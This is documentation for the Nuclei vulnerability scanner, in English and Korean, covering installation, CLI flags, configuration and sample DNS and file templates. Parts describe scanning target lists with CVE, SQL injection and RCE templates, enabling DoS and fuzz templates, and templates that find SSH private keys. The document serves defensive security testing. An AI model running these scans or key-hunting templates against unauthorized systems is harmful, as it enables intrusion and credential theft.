nuclei Documentation

Nuclei is a fast and customizable vulnerability scanner based on simple **YAML-based templates**.

It has two components, 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - the core of the project allows scripting HTTP / DNS / Network / Headless / File protocols based checks in a very simple to read-and-write YAML-based format. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - ready-to-use **community-contributed** vulnerability templates.

We wanted something simple enough to be used by ==**everyone**== while complex enough to integrate into the modern web with its intricacies. The features implemented in nuclei are tailored to allow very rapid prototyping of complex security checks.

Nuclei engine supports the following type of modules.

- [HTTP](https://nuclei.projectdiscovery.io/templating-guide/protocols/http/)
- [DNS](https://nuclei.projectdiscovery.io/templating-guide/protocols/dns/)
- [TCP](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/)
- [FILE](https://nuclei.projectdiscovery.io/templating-guide/protocols/file/)

Nuclei can be used to detect security vulnerabilities in **Web Applications**, **Networks**, **DNS** based misconfiguration, and **Secrets scanning** in source code or files on the local file system.

The nuclei project is actively developed and maintained by the [ProjectDiscovery](https://projectdiscovery.io/#/) team, and generally releases every 2 weeks.

To help keep project momentum, we request everyone to write and share new templates with the community in the [template project](https://github.com/projectdiscovery/nuclei-templates). Please help us maintain this public, ready to use, and up-to-date nuclei template repository.

If you found an interesting/unique security issue using nuclei and want to share the process walk-through in the form of a blog, we are happy to publish your guest post on the [ProjectDiscovery blog](https://blog.projectdiscovery.io).

**Wait a minute** -- after nuclei detected a security issue, it's always advised to have a second look before reporting it. Here's a tip to confirm/validate the issues.

??? tip "How do I validate nuclei results?"

	Once nuclei finds a result, and you have vulnerable ==target== and ==template==, rerun the template with ==`-debug`== flag to inspect the output against the expected matcher defined in the template. In this way, you can confirm the identified vulnerability.

By default nuclei will make several thousand requests (both HTTP protocol and other services) against a single target when running **all nuclei-templates**. This stems from over 3500 nuclei templates in the [[template releases](https://github.com/projectdiscovery/nuclei-templates/releases/), with more added daily.

!!! info ""
	As default, few templates listed [here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) are excluded from default scans.

We consider two factors in regards to calling nuclei =="safe"== -

1. The **traffic** nuclei makes against the target website.
2. The **impact** templates have on the target website.

!!! check "HTTP Traffic"

	Nuclei usually makes fewer HTTP requests than the number of templates selected for a scan due to its intelligent request reduction. While some templates contain multiple requests, this rule generally holds true across most scan configurations.

!!! check "Safe Templates"

	The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure  these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can only be executed when explicitly invoked using the `-itags` option.

Nuclei is an open-source project distributed under the [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md).

Please join our [Discord server](https://discord.gg/projectdiscovery), or contact us via [Twitter](http://twitter.com/pdnuclei).

Headless mode on machines based on Linux (OS or containers, eg. Docker) might face runtime errors due to missing dependencies related to specific OS-shared libraries used by chrome binary.
Usually, these errors can be fixed by pre-installing the browser on the specific distribution. Here is a list of the steps needed for the most common distributions.
Ubuntu

With snap:
```sh
sudo snap install chromium
```

Without snap:
```sh
sudo apt update
sudo snap refresh
sudo apt install zip curl wget git
sudo snap install golang --classic
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - 
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
sudo apt update 
sudo apt install google-chrome-stable
```

In case you are unable to install the browser, or want to install only the minimum required dependencies, run the following command:
```
sudo apt-get install libnss3 libgconf-2-4
```

If you encounter an error similar to "libnss3.so: cannot open shared object file: No such file or directory," try running the following command to install the dev version:

```
sudo apt-get install libnss3-dev
```

Error type examples:
```
Error:      	Expected nil, but got: &errors.errorString{s:"[launcher] Failed to launch the browser, the doc might help https://go-rod.github.io/#/compatibility?id=os: /root/.cache/rod/browser/chromium-1018003/chrome-linux/chrome: error while loading shared libraries: libnss3.so: cannot open shared object file: No such file or directory\n"}
```
```
could not create browser
```
```
Command '/usr/bin/chromium-browser' requires the chromium snap to be installed.
Please install it with:
snap install chromium
```

Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) are the core of the nuclei project. The templates contain the actual logic that is executed in order to detect various vulnerabilities. The project consists of **several thousand** ready-to-use **[community-contributed](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** vulnerability templates.

We maintain a [documentation guide](https://nuclei.projectdiscovery.io/templating-guide/) for writing new and custom nuclei templates. We also have [sample templates](https://nuclei.projectdiscovery.io/template-examples/http/) for various modules nuclei supports.

Performing security assessment of an application is time-consuming. It's always better and time-saving to automate steps whenever possible. Once you've found a security vulnerability, you can prepare a nuclei template by defining the required HTTP request to reproduce the issue, and test the same vulnerability across multiple hosts with ease. It's worth mentioning ==you write the template once and use it forever==, as you don't need to manually test that specific vulnerability any longer.

Here are few examples from the community making use of templates to automate the security findings.



??? Reference
	- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
	- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
	- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
	- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
	- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/

Nuclei templates can be executed using a template name or with tags, using `-templates` (`-t`) and `-tags` flag, respectively.

```
nuclei -tags cve -list target_urls.txt
```

You are always welcome to share your nuclei templates with the community. You can either open a [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name) with the template details or open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with your nuclei templates. If you don't have a GitHub account, you can also make use of the [discord server](https://discord.gg/projectdiscovery) to share the template with us.

If you identified templates producing false positive/negative results, here are few steps that you can follow to fix them quickly.

??? info "I found a template producing false positive or negative results, but I'm not sure if this is accurate."

	Direct message us on [Twitter](https://twitter.com/pdnuclei) or [Discord](https://discord.gg/projectdiscovery) to confirm the validity of the template.

??? info "I found a template producing false positive or negative result and I don't know how to fix it."

	Please open a GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+) with details, and we will work to address the problem and update the template.

??? info "I found a template producing a false positive or negative result and I know how to fix it."

	Please open a GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls) with fix.

The nuclei templates project houses a variety of templates which perform fuzzing and other actions which may result in a DoS against the target system (see [the list here](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)). To ensure  these templates are not accidentally run, they are tagged and excluded them from the default scan. These templates can be only executed when explicitly invoked using the `-itags` option.

When you download or update nuclei templates using the nuclei binary, it downloads all the templates from the latest **release**. All templates added after the release exist in the [master branch](https://github.com/projectdiscovery/nuclei-templates) and are added to nuclei when a new template release is created.

Nuclei는 간단한 YAML 템플릿을 기초로 한 빠른 맞춤형 취약점 스캐너입니다.

2개의 요소로 구성됩니다. 1) [Nuclei](http://github.com/projectdiscovery/nuclei) engine - 쉽게 읽고 쓸 수 있는 YAML 기반 형식으로 HTTP/DNS/네트워크/헤드리스/파일 프로토콜 기반 검사를 스크립팅할 수 있게 합니다. 2) Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) - 즉시 사용할 수 있는 **커뮤니티에서 기여해준** 취약점 템플릿입니다.

누구나 사용하기에 간편하기도 하고 현대 웹에 통합될 만큼 충분히 정교하길 원했습니다. Nuclei의 기능들은 복잡한 보안 검사를 매우 빠르게 프로토타입화 할 수 있도록 조정했습니다.

Nuclei는 다음과 같은 모듈을 지원합니다.

- [HTTP](https://nuclei.projectdiscovery.io/templating-guide/protocols/http/)
- [DNS](https://nuclei.projectdiscovery.io/templating-guide/protocols/dns/)
- [TCP](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/)
- [FILE](https://nuclei.projectdiscovery.io/templating-guide/protocols/file/)

Nuclei는 로컬 파일 시스템의 소스 코드나 파일들에 있는 **웹 어플리케이션**, **네트워크**, **잘못된 구성 기반의 DNS**, **비밀스러운 스캐닝**등에서 생기는 보안 취약점을 탐지 하는데 사용할 수 있습니다.

Nuclei 프로제트는 현재 [ProjectDiscovery](https://projectdiscovery.io/#/)팀에 의해서 개발 및 유지되고 있습니다. 그리고 일반적으로 매 2주마다 릴리즈를 진행하고 있습니다.

프로젝트의 모멘텀을 유지하기 위해서, 모두가 [template project](https://github.com/projectdiscovery/nuclei-templates)에서 새로운 템플릿을 생성하고 커뮤니티에 공유해주길 원합니다. Nuclei 템플릿 저장소가 공개적이고, 즉시 사용가능 하고, 최신을 유지할 수 있도록 도와주세요.

Nuclei를 사용하며 찾은 흥미롭거나 특별한 보안 문제를 찾았고, 이 과정 전체를 블로그의 형태로 공유하고자 한다면 [ProjectDiscovery blog](https://blog.projectdiscovery.io)에 게스트 게시물로 올려주시면 감사하겠습니다.

**잠시만요** -- Nuclei에서 보안 문제를 찾은 이후에 항상 이를 신고하기 이전에 다시 살펴 보는 것이 좋습니다. 다음은 문제를 확인/검증하기 위한 팁입니다.

??? tip "어떻게 Nuclei의 결과를 검증하나요?"

	Nuclei를 통해 결과를 획득하고, 취약한 대상과 템플릿을 알게 되면, ==`-debug`== 플래그와 함께 템플릿을 다시 실행하여 템플릿에 정의된 예상 결과와 비교하여 출력을 검사합니다. 이러한 방식을 통해서, 식별된 취약점을 확정할 수 있습니다.

기본적으로 **모든 nuclei-templates**을 실행할 때 한 대상에게 (HTTP 프로토콜 과 다른 서비스 모두) 수 천개의 요청을 생성합니다. 매일 추가되는 3500개의 Nuclei 템플릿에서 비롯됩니다.

!!! info ""
	기본적으로 [이 곳](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore)에 있는 일부 템플릿은 기본 검색에서 제외됩니다.

Nuclei에서 =="안전"== 하다고 말하기 위해서 두 가지를 고려합니다.

1. 핵이 대상 사이트에 생성한 **트래픽**.
2. 템플릿이 사이트에 미치는 **영향**

!!! check "HTTP 트래픽"

	Nuclei는 지능적인 요청 감소 때문에 항상 선택된 템플릿 수보다 적은 수의 HTTP 요청을 생성합니다. 일부 템플릿에는 다수의 요청이 포함되어 있지만, 이 룰은 일반적으로 대부분의 스캔 설정에 적용됩니다.
	
!!! check "안전한 템플릿"

	Nuclei 템플릿에는 퍼지 및 대상 시스템에 DoS를 초래할 수 있는 다양한 템플릿이 포함되어 있습니다([목록](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) 참조). 이러한 템플릿들이 실수로 실행되지 않도록 템플릿에 태그를 달고 기본 스캔에서 제외합니다. 이런 템플릿들은 `-itags` 옵션을 사용한 명시적인 경우에만 실행됩니다.

Nuclei [MIT License](https://github.com/projectdiscovery/nuclei/blob/master/LICENSE.md)를 가진 오픈소스 프로젝트입니다.

[Discord server](https://discord.gg/projectdiscovery)에 참여하시거나 [Twitter](http://twitter.com/pdnuclei)로 연락을 부탁드립니다.

Nuclei [templates](http://github.com/projectdiscovery/nuclei-templates) 는 Nuclei 프로젝트의 핵심입니다. 템플릿들은 다양한 취약점을 찾아내기 위해 실행되는 핵심 로직을 포함합니다. 프로젝트는 **수천 개**의 즉시 사용가능한 **[커뮤니티에서 기여해준](https://github.com/projectdiscovery/nuclei-templates/graphs/contributors)** 취약점 템플릿들로 구성되어 있습니다.

Nuclei templates 을 새로 작성하고 커스텀 하기 위한 [가이드](https://nuclei.projectdiscovery.io/templating-guide/)를 유지하고 있습니다. 또한, Nuclei가 지원하는 다양한 모듈들에 대한 [샘플 탬플릿](https://nuclei.projectdiscovery.io/template-examples/http/)도 있습니다.

한 어플리케이션의 보안을 평가하는 일을 많은 시간을 소모합니다. 가능할 때마다 단계를 자동화 하는 것은 언제나 시간이 절약되고 좋은 것입니다. 보안 취약점을 발견하면, 그 이슈를 재현하기 위하여 필요한 HTTP 요청을 정의하여 Nuclei 템플릿을 준비하고, 이를 통해 쉽게 여러 호스트에서 동일한 취약점을 테스트합니다. **템플릿을 한 번 작성하여 영원히 사용하는 것**은 더 이상 취약점 테스트를 수동으로 할 필요가 없기 때문에 충분히 가치있는 일입니다.

다음은 보안관련 결과들을 자동화하기 위해 커뮤니티가 템플릿을 사용한 예시입니다.

??? Reference
	- https://dhiyaneshgeek.github.io/web/security/2021/02/19/exploiting-out-of-band-xxe/
	- https://blog.melbadry9.xyz/fuzzing/nuclei-cache-poisoning
	- https://blog.melbadry9.xyz/dangling-dns/xyz-services/ddns-worksites
	- https://blog.melbadry9.xyz/dangling-dns/aws/ddns-ec2-current-state
	- https://blog.projectdiscovery.io/writing-nuclei-templates-for-wordpress-cves/

Nuclei 템플릿은 이름과 태그를 통해 (각각 `-templates` (`-t`)나 `-tags`플래그) 실행시킬 수 있습니다.

```
nuclei -tags cve -list target_urls.txt
```

Nuclei 템플릿을 커뮤니티에 공유해주시는 것은 언제나 환영합니다. 템플릿의 세부사항과 함께 [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name)를 열거나 본인만의 Nuclei 템플릿을 포함하여 GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls)을 보내주세요. 만약 Github 계정이 없다면, [discord server](https://discord.gg/projectdiscovery)를 이용하셔도 됩니다.

Nuclei 템플릿 프로젝트는 **커뮤니티에서 기여하는 프로젝트**입니다. ProjectDiscovery 팀은 템플릿이 병합되기 전에 수동적으로 템플릿들을 리뷰합니다. 그럼에도, 약한 matchers를 가진 일부 템플릿들은 통과할 가능성이 있습니다. 이는 잘못된 결과를 생성할 수 있습니다. **템플릿은 그 matchers만큼의 성능을 냅니다.**

만약 템플릿이 거짓된 결과를 생상하는지 확인하고 싶다면, 빠르게 고치기 위한 다음의 몇 가지 따라할 수 있는 단계들이 있습니다.

??? info "잘못된 결과를 찾았는데, 정확한지 모르겠어요."

    [Twitter](https://twitter.com/pdnuclei) 혹은 [Discord](https://discord.gg/projectdiscovery)의 DM을 통해 템플릿의 타당성을 확인합니다.

??? info "잘못된 결과를 찾았는데, 어떻게 고칠 지 모르겠어요."

    GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+)를 세부사항과 함께 남겨주세요. 모두가 문제를 해결하고 업데이트 하기 위해 일할 것입니다.

??? info "잘못된 결과를 찾는 템플릿을 찾고, 어떻게 고치는 지 알아요."

	수정한 내역을 GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls)를 통해 전달해주세요.

Nuclei 템플릿에는 퍼지 및 대상 시스템에 DoS를 초래할 수 있는 다양한 템플릿이 포함되어 있습니다([목록](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) 참조). 이러한 템플릿들이 실수로 실행되지 않도록 템플릿에 태그를 달고 기본 스캔에서 제외합니다. 이런 템플릿들은 `-itags` 옵션을 사용한 명시적인 경우에만 실행됩니다.

Nuclei 실행파일로 템플릿을 다운받거나 업데이트할 때, 항상 최신 버전의 릴리즈에서 모든 다운로드를 받습니다. 릴리즈 이후에 추가된 템플릿들은 [master branch](https://github.com/projectdiscovery/nuclei-templates)에 존재하고 새 릴리즈가 생성될 때 추가됩니다.

* HTTP | DNS | TCP | FILE 지원
* 수정 가능한 템플릿
* 대규모 스캐닝
* 대역 외 기반 탐지
* 본인만의 템플릿을 쉽게 작성가능

```
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
```

!!! info
    Nuclei를 성공적으로 설치하기 위해서는 최신 버전의 **Go** 가 필요합니다.

```
brew install nuclei
```

!!! info
    **macOS** (or Linux) 를 지원합니다.

```
docker pull projectdiscovery/nuclei:latest
```

```
git clone https://github.com/projectdiscovery/nuclei.git; \
cd nuclei/v2/cmd/nuclei; \
go build; \
mv nuclei /usr/local/bin/; \
nuclei -version;
```

!!! info
    Nuclei를 성공적으로 설치하기 위해서는 최신 버전의 **Go** 가 필요합니다.

```
https://github.com/projectdiscovery/nuclei/releases
```

!!! tip
    - OS에 따라 최신 버전의 실행파일을 다운로드 합니다.
    - 실행하기 위해서 압축을 해제합니다.

nuclei -h

Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.

Usage:
  nuclei [flags]

Flags:
TARGET:
   -u, -target string[]  스캔할 URLs/hosts 대상
   -l, -list string      스캔할 URLs/hosts 대상 목록이 포함된 파일 경로(줄당 하나씩)
   -resume string        resume.cfg를 사용한 스캔 재개(클러스터링이 비활성화됨)

TEMPLATES:
   -nt, -new-templates          nuclei-templates에 가장 최근에 추가된 새 템플릿만 실행
   -as, -automatic-scan         태그 매핑에 대한 wappalyzer 기술 탐지를 사용한 자동 웹 스캔
   -t, -templates string[]      실행할 템플릿 또는 템플릿 디렉터리 목록(쉼표로 구분된 파일)
   -tu, -template-url string[]  실행할 템플릿 URL 목록(쉼표로 구분된 파일)
   -w, -workflows string[]      실행할 워크플로 또는 워크플로 디렉터리 목록(쉼표로 구분된 파일)
   -wu, -workflow-url string[]  실행할 워크플로 URL 목록(쉼표로 구분된 파일)
   -validate                    nuclei로 전달된 템플릿 검증
   -tl                          사용 가능한 모든 템플릿 목록

FILTERING:
   -a, -author string[]              작성자를 기준으로 실행할 템플릿(쉼표로 구분된 파일)
   -tags string[]                    태그를 기준으로 실행할 템플릿(쉼표로 구분된 파일)
   -etags, -exclude-tags string[]    태그를 기준으로 제외할 템플릿(쉼표로 구분된 파일)
   -itags, -include-tags string[]    태그가 기본 또는 구성에 의해 제외된 경우에도 실행됨
   -id, -template-id string[]        템플릿 ID들을 기준으로 실행할 템플릿(쉼표로 구분된 파일)
   -eid, -exclude-id string[]        템플릿 ID들을 기준으로 제외할 템플릿(쉼표로 구분된 파일)
   -it, -include-templates string[]  템플릿이 기본 또는 구성에 의해 제외된 경우에도 실행됨
   -et, -exclude-templates string[]  제외할 템플릿 또는 템플릿 디렉터리(파일로 구분됨, 파일)
   -s, -severity value[]             심각도를 기준으로 실행할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
   -es, -exclude-severity value[]    심각도를 기준으로 제외할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
   -pt, -type value[]                프로토콜 유형을 기준으로 실행할 템플릿. 가능한 값: dns, file, http, headless, network, workflow, ssl, websocket, whois
   -ept, -exclude-type value[]       프로토콜 유형에 따라 제외할 템플릿. 가능한 값: dns, file, http, headless, network, workflow, ssl, websocket, whois

OUTPUT:
   -o, -output string            발견된 문제/취약점를 쓰기 위한 출력 파일
   -sresp, -store-resp           nuclei을 통해 전달된 모든 요청/응답을 출력 디렉터리에 저장
   -srd, -store-resp-dir string  nuclei을 통해 전달된 모든 요청/응답을 사용자 지정 디렉터리에 저장(기본 "output")
   -silent                       결과만 표시
   -nc, -no-color                출력 내용 색상 비활성화 (ANSI escape codes)
   -json                         JSONL(ines) 형식으로 출력
   -irr, -include-rr             JSONL 출력에 요청/응답 쌍 포함(결과만)
   -nm, -no-meta                 cli 출력에서 결과 메타데이터 출력 비활성화
   -nts, -no-timestamp           cli 출력에서 결과 타임스탬프 출력 비활성화
   -rdb, -report-db string       nuclei 보고 데이터베이스(보고서 데이터를 유지하려면 항상 이것을 사용)
   -ms, -matcher-status          매치 실패 상태 표시
   -me, -markdown-export string  마크다운 형식으로 결과를 내보낼 디렉터리
   -se, -sarif-export string     결과를 SARIF 형식으로 내보내는 파일

CONFIGURATIONS:
   -config string              nuclei 환경 설정 파일 경로
   -fr, -follow-redirects      http 템플릿에 following redirects 활성화
   -mr, -max-redirects int     http 템플릿에 따라야 할 최대 리디렉션 수(기본값 10)
   -dr, -disable-redirects     http 템플릿에 대한 리디렉션 비활성화
   -rc, -report-config string  nuclei 보고 모듈 환경 설정 파일
   -H, -header string[]        헤더:값 형식의 모든 http 요청에 포함할 사용자 정의 헤더/쿠키(cli, file)
   -V, -var value              키=값 형식의 사용자 정의 변수
   -r, -resolvers string       nuclei에 대한 리졸버 목록이 포함된 파일
   -sr, -system-resolvers      에러 fallback으로 시스템 DNS 리졸빙 사용
   -passive                    수동 HTTP 응답 처리 모드 활성화
   -ev, -env-vars              템플릿에서 환경 변수를 사용할 수 있도록 설정
   -cc, -client-cert string    스캔된 호스트에 인증하는 데 사용되는 클라이언트 인증서 파일(PEM-encoded)
   -ck, -client-key string     스캔된 호스트에 인증하는 데 사용되는 클라이언트 key 파일(PEM-encoded)
   -ca, -client-ca string      스캔된 호스트에 인증하는 데 사용되는 클라이언트 인증 기관 파일(PEM-encoded)
   -sml, -show-match-line      파일 템플릿에 대해 일치하는 줄 표시, extractors에서만 작동
   -ztls                       tls13의 표준으로 autofallback과 함께 ztls 라이브러리 사용
   -sni string                 사용할 tls sni 호스트 이름(기본: 입력한 도메인 이름)

INTERACTSH:
   -iserver, -interactsh-server string  자체 호스팅된 인스턴스에 대한 interactsh 서버 URL (기본: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
   -itoken, -interactsh-token string    자체 호스팅된 interactsh 서버에 대한 인증 토큰
   -interactions-cache-size int         상호 작용 캐시에 유지할 요청 수 (기본 5000)
   -interactions-eviction int           캐시에서 요청을 제거하기 전에 대기할 시간(초) (기본 60)
   -interactions-poll-duration int      각 상호 작용 폴링 요청 전에 대기할 시간(초) (기본 5)
   -interactions-cooldown-period int    종료 전 상호작용 폴링을 위한 추가 시간 (기본 5)
   -ni, -no-interactsh                  OAST 테스트를 위해 interactsh 서버 비활성화, OAST 기반 템플릿 제외

RATE-LIMIT:
   -rl, -rate-limit int            초당 보낼 최대 요청 수 (기본 150)
   -rlm, -rate-limit-minute int    분당 보낼 최대 요청 수
   -bs, -bulk-size int             템플릿당 병렬로 분석할 최대 호스트 수 (기본 25)
   -c, -concurrency int            병렬로 실행할 최대 템플릿 수 (기본 25)
   -hbs, -headless-bulk-size int   템플릿당 병렬로 분석할 최대 headless 호스트 수 (기본 10)
   -hc, -headless-concurrency int  병렬로 실행할 최대 headless 템플릿 수 (기본 10)

OPTIMIZATIONS:
   -timeout int                타임아웃 전 대기 시간(초) (기본 5)
   -retries int                실패한 요청을 재시도하는 횟수 (기본 1)
   -ldp, -leave-default-ports  leave default HTTP/HTTPS ports (eg. host:80,host:443
   -mhe, -max-host-error int   스캔을 건너뛰기 전에 호스트에 대한 최대 오류 수 (기본 30)
   -nmhe, -no-mhe              disable skipping host from scan based on errors
   -project                    프로젝트 폴더를 사용하여 동일한 요청을 여러 번 보내지 않음
   -project-path string        특정 프로젝트 경로 설정
   -spm, -stop-at-first-path   첫 번째 일치 후 HTTP 요청 처리 중지 (template/workflow 로직이 중단될 수 있음)
   -stream                     stream 모드 - 입력을 정렬하지 않고 elaborating 시작

HEADLESS:
   -headless            헤드리스 브라우저 지원이 필요한 템플릿 활성화(root user on linux will disable sandbox)
   -page-timeout int    헤드리스 모드에서 각 페이지를 기다리는 시간(초)(기본 20)
   -sb, -show-browser   헤드리스 모드로 템플릿을 실행할 때 화면에 브라우저 표시
   -sc, -system-chrome  설치된 nuclei 대신 로컬에 설치된 chrome 브라우저 사용

DEBUG:
   -debug                    모든 요청 및 응답 표시
   -dreq, -debug-req         보낸 모든 요청 표시
   -dresp, -debug-resp       받은 모든 응답 표시
   -p, -proxy string[]       사용할 http/socks5 프록시 목록(쉼표로 구분하거나 파일 입력)
   -pi, -proxy-internal      모든 내부 요청을 프록시
   -tlog, -trace-log string  보낸 요청 추적 로그를 기록할 파일
   -elog, -error-log string  보낸 요청 오류 로그를 기록할 파일
   -version                  nuclei 버전 출력
   -hm, -hang-monitor        nuclei hang monitoring 활성화
   -v, -verbose              상세 출력 표시
   -vv                       스캔을 위해 로드된 디스플레이 템플릿 표시
   -ep, -enable-pprof        pprof debugging server 활성화
   -tv, -templates-version   설치된 nuclei-templates 버전 출력

UPDATE:
   -update                        최신 릴리스 버전으로 nuclei 엔진 업데이트
   -ut, -update-templates         최신 릴리스 버전으로 nuclei-templates 엔진 업데이트
   -ud, -update-directory string  nuclei-templates를 설치할 기본 디렉터리를 덮어씀
   -duc, -disable-update-check    자동 nuclei/templates 업데이트 확인 비활성화

STATISTICS:
   -stats                    실행 중인 스캔에 대한 통계 표시
   -sj, -stats-json          JSONL(ines) 형식으로 출력 파일에 통계 데이터 쓰기
   -si, -stats-interval int  통계 업데이트를 표시할 때까지 대기하는 시간(초) (기본 5)
   -m, -metrics              포트(기본 9092)에서 실행 중인 scan matrics 보기
   -mp, -metrics-port int    nuclei metrics 포트 설정 (기본 9092)

nuclei -u https://example.com

nuclei -u https://example.com -t cves/ -t exposures/

nuclei -list http_urls.txt

nuclei -u https://example.com -w workflows/

nuclei -list http_urls.txt -w workflows/wordpress-workflow.yaml

nuclei -u https://example.com -tags cve

nuclei -u https://example.com -tags config -t exposures/

nuclei -u https://example.com -tags cve -severity critical,high -author geeknik

nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
nuclei -tc "contains(name, 'Local File Inclusion')"

nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt

```yaml
# Headers to include with each request.
header:
  - 'X-BugBounty-Hacker: h1/geekboy'
  - 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
```

```yaml
nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
```

**nuclei-ignore** 파일은 사용자가 업데이트/편집/제거할 수 없습니다. 이를 덮어쓰기 위해서는 [nuclei configuration](https://nuclei.projectdiscovery.io/nuclei/get-started/#nuclei-config) 파일을 이용합니다.

```
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
```

```
nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
```

```
nuclei -l urls.txt -t cves/ -etags xss
```

```
nuclei -l urls.txt -t cves/ -etags sqli,rce
```

```
nuclei -l urls.txt -include-tags iot,misc,fuzz
```

[v.2.3.2](https://blog.projectdiscovery.io/nuclei-v2-3-0-release/) 버전의 nuclei부터 깔끔한 CLI 환경과 포맷팅된 길거나 짧은 형식의 플래그들을 사용하기 위해서 [goflags](https://github.com/projectdiscovery/goflags)를 사용합니다.

자동 생성 설정 파일을 생성하는 [goflags](https://github.com/projectdiscovery/goflags)는 사용 가능한 모든 CLI플래그를 설정 파일로 커버합니다. 기본적으로 로드되는 반복적인 CLI 플래그를 피하기 위해서 모든 CLI 플래그들을 설정 파일에 정의할 수 있습니다.

Nuclei 설정 파일의 기본 경로는 `$HOME/.config/nuclei/config.yaml` 입니다. 기본적으로 실행할 플래그를 설정하거나 주석 해제합니다.

# Headers to include with all HTTP request
header:
  - 'X-BugBounty-Hacker: h1/geekboy'

# Directory based template execution
templates:
  - cves/
  - vulnerabilities/
  - misconfiguration/

# Tags based template execution
tags: exposures,cve

# Template Filters
tags: exposures,cve
author: geeknik,pikpikcu,dhiyaneshdk
severity: critical,high,medium

# Template Allowlist
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
  - vulnerabilities/xxx
  - misconfiguration/xxxx

# Template Denylist
exclude-tags: info # Tag based exclusion
exclude-templates: # Template based exclusion
  - vulnerabilities/xxx
  - misconfiguration/xxxx

# Rate Limit configuration
rate-limit: 500
bulk-size: 50
concurrency: 50

```
nuclei -config project.yaml -list urls.txt
```

# GitHub contains configuration options for GitHub issue tracker

github: 
  username: "$user"
  owner: "$user"
  token: "$token"
  project-name: "testing-project"
  issue-label: "Nuclei"

# elasticsearch contains configuration options for elasticsearch exporter
elasticsearch:
  # IP for elasticsearch instance
  ip: 127.0.0.1
  # Port is the port of elasticsearch instance
  port: 9200
  # IndexName is the name of the elasticsearch index
  index-name: nuclei

nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml

allow-list:
  severity: high,critical

nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml -rdb prod

nuclei -l urls.txt -t cves/ -irr -markdown-export reports

nuclei -l urls.txt -t cves/ -sarif-export report.sarif

curl -s localhost:9092/metrics | jq .

{
  "duration": "0:00:03",
  "errors": "2",
  "hosts": "1",
  "matched": "0",
  "percent": "99",
  "requests": "350",
  "rps": "132",
  "startedAt": "2021-03-27T18:02:18.886745+05:30",
  "templates": "256",
  "total": "352"
}

nuclei -passive -target http_data

수동모드는 `{{BasedURL}}` 혹은 `{{BasedURL/}}`을 기본 경로로 가지는 템플릿들에 대해 제한됩니다.

id: basic-dns-example

info:
  name: Test DNS Template
  author: pdteam
  severity: info

dns:
  - name: "{{FQDN}}"
    type: CNAME
    class: inet
    recursion: true
    retries: 3
    matchers:
      - type: word
        words:
          # 응답은 CNAME 레코드를 반드시 포함해야 합니다.
          - "IN\tCNAME"

id: multiple-matcher

info:
  name: Test DNS Template
  author: pdteam
  severity: info

dns:
  - name: "{{FQDN}}"
    type: CNAME
    class: inet
    recursion: true
    retries: 5
    matchers-condition: or
    matchers:
      - type: word
        name: zendesk
        words:
          - "zendesk.com"
      - type: word
        name: github
        words:
          - "github.io"

id: ssh-public-key

info:
  name: SSH Public Key Detect
  author: pd-team
  severity: low

file:
  - extensions:
      - pub
    max-size: 1024 # read very small chunks

    matchers:
      - type: word
        words:
          - "ssh-rsa"

id: ssh-private-key

info:
  name: SSH Private Key Detect
  author: pd-team
  severity: high

file:
  - extensions:
      - all
    denylist:
      - pub
    no-recursive: true
    max-size: 1024 # read very small chunks

